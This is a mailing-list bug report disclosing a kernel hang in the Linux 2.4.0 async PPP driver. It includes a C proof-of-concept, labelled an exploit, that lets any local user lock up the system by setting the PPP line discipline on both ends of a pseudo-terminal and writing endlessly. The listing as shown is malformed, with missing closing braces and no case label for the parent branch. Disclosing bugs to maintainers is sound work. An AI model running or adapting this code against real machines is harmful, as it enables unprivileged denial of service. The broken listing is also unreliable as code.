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SubjectKernel (2.4.0) lock-up using ppp_async - SEVERE - EXPLOIT RUNS AS ANY USER.
Hi all, hi Paulus.

Is somewhat odd how I got it, but here it goes.
I found a bug in 2.4.0 async PPP driver. I tested the same program in
2.2.17 and it run perfectly (and without hanging).

So, here goes the description:

2.4.0 Kernel hangs up when I do the following stuff:

* Create a new PTY using openpty();
* Fork using forkpty. Now, the child process does this:
- Set the fd 0 line discipline to PPP;
- tries infinitely to read the standard input.

The parent process sets the line discipline of the master PTY fd to PPP
also, and then writes to it. As I was able to see (strace), the write
function never returns.

Hopefully SysRQ worked, and I was able to trace the bug to
ppp_async_push. It seems the endless loop there is really endless.

Here's a copy of the "exploit".

-- cut here --

/* Compile with -lutil */

#include <pty.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <linux/types.h>
#include <asm/types.h>
#include <net/if.h>
#include <linux/ppp_defs.h>

int main(int argc, char **argv) {
int fdmaster,fdslave;
struct termios t;
struct winsize w;
char name[80],fdn[8];
int pppdisc = N_PPP;

tcgetattr(0, &t);
openpty(&fdmaster, &fdslave,name, &t, &w);
switch (forkpty(&fdmaster,name,&t,&w)) {
case 0:
ioctl(0, TIOCSETD, &pppdisc);
while (1==1) {
char buf[80];
read(0, buf, 80);

ioctl(fdmaster, TIOCSETD, &pppdisc);

while (1==1) {
write(fdmaster,"OK\n", 3);

-- cut here --

Álvaro Lopes
Network Consulting
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